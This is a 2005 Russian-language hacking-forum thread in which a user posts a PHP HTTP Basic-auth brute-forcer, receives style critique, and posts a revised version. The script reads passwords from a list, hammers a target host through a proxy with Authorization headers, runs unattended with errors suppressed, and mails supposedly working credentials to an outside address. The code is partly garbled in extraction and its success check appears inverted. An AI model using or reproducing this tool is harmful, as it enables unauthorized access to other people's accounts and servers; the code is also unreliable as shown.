Http брут на Php

Discussion in 'PHP' started by dim_ok, 7 May 2005.

  1. dim_ok

    dim_ok Elder - Старейшина

    Joined:
    26 Mar 2005
    Messages:
    173
    Likes Received:
    64
    Reputations:
    47
    Ну типа зарисовочка, please report bugs.

    PHP:
    <?
    set_time_limit(0);
    ignore_user_abort(1);
    error_reporting(0);
    $open_host="$host";
    $open_port="80";
    $main_url2="$targethost";
    $refer2="$host";
    $file "p.txt";
    if( @
    $host && @$targethost){
    $fp = @fopen($file,"r");
    if(!
    $fp) {
    die(
    "Cannot open file");
    } else {
    while(
    $pas = @fgets($fp,1024)){

    $sock fsockopen($open_host$open_port$errno$errstr10);
    fputs($sock"GET ".$main_url2." HTTP/1.0\r\n");
    fputs($sock"Accept: */*\r\n");
    fputs($sock"Accept-Language: en\r\n");
    fputs($sock"Pragma: no-cache\r\n");
    fputs($sock"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n");
    fputs($sock"Host: ".$host."\r\n");
    fputs($sock"Proxy-Connection: Keep-Alive\r\n");
    fputs($sock"Referer: ".$refer2."\r\n");
    fputs($sock"Authorization: Basic ".base64_encode("$pas")."\r\n");
    fputs($sock"\r\n");
    $u=fread($sock100);
    for(
    $x=0;$x 900;$x++){
    $headers fgets ($sock4096);
    @
    $a=$a.$headers;}
    fclose($sock);
    @
    $good=eregi("(Authorization Required)"$a);
    $a="0";
    if(@
    $good){
    mail("[email protected]""http good ($targethost)""$pas@$targethost\r\n""from: [email protected]\n");
    }else{

    fsockopen($open_host$open_port$errno$errstr10);
    }
    }
    }
    }


    else {
    print (
    "<h4>http</h4>
    <form method=post action="
    .$PHP_SELF.">
    <BR>host<input type=text name=host>
    <BR>targethost<input type=text name=targethost>
    <input type=submit value='Go'>
    </form>"
    );
    }

    ?>
     
  2. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    Ну вот, а спрашивал. Только зачем такая куча @ ? И вообще, вот такая фигня
    PHP:
    if( @$host && @$targethost){
    мне лично не нравится. Во-первых, давно я уже не видел апчей. которые выводят настолько подробные сообщения о ошибках (в последнее время модно стало вообще не выводить ошибки). Во-вторых, ну неужели влом написать isset($host) или хотябы $host!="". Это правильнее. Мое мнение =) Каждый пишет по своему. И eregi, насколько я помню, по скорости проигрывает preg_match(). Вот. Ну и к коду я еще долго могу предираться.
     
    _________________________
  3. dim_ok

    dim_ok Elder - Старейшина

    Joined:
    26 Mar 2005
    Messages:
    173
    Likes Received:
    64
    Reputations:
    47
    А с кодом все это можно?
     
  4. dim_ok

    dim_ok Elder - Старейшина

    Joined:
    26 Mar 2005
    Messages:
    173
    Likes Received:
    64
    Reputations:
    47
    Чуть подправил.

    PHP:
    <?
    set_time_limit(0);
    ignore_user_abort(1);
    error_reporting(0);
    $open_host="$host";
    $open_port="80";
    $main_url2="$targethost";
    $refer2="$host";
    $file "p.txt";
    if(isset(
    $host $targethost)){
    $fp = @fopen($file,"r");
    if(!
    $fp) {
    die(
    "Cannot open file");
    } else {
    while(
    $pas = @fgets($fp,1024)){

    $sock fsockopen($open_host$open_port$errno$errstr10);
    fputs($sock"GET ".$main_url2." HTTP/1.0\r\n");
    fputs($sock"Accept: */*\r\n");
    fputs($sock"Accept-Language: en\r\n");
    fputs($sock"Pragma: no-cache\r\n");
    fputs($sock"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n");
    fputs($sock"Host: ".$host."\r\n");
    fputs($sock"Proxy-Connection: Keep-Alive\r\n");
    fputs($sock"Referer: ".$refer2."\r\n");
    fputs($sock"Authorization: Basic ".base64_encode("$pas")."\r\n");
    fputs($sock"\r\n");
    $u=fread($sock100);
    for(
    $x=0;$x 900;$x++){
    $headers fgets ($sock4096);
    @
    $a=$a.$headers;}
    fclose($sock);
    @
    $good=eregi("(401)"$a);
    $a="0";
    if(@
    $good){
    mail("[email protected]""http good ($targethost)""$pas@$targethost\r\n""from: [email protected]\n");
    }else{

    fsockopen($open_host$open_port$errno$errstr10);
    }
    }
    }
    }


    else {
    print (
    "<h4>http</h4>
    <form method=post action="
    .$PHP_SELF.">
    <BR>host<input type=text name=host>
    <BR>targethost<input type=text name=targethost>
    <input type=submit value='Go'>
    </form>"
    );
    }

    ?>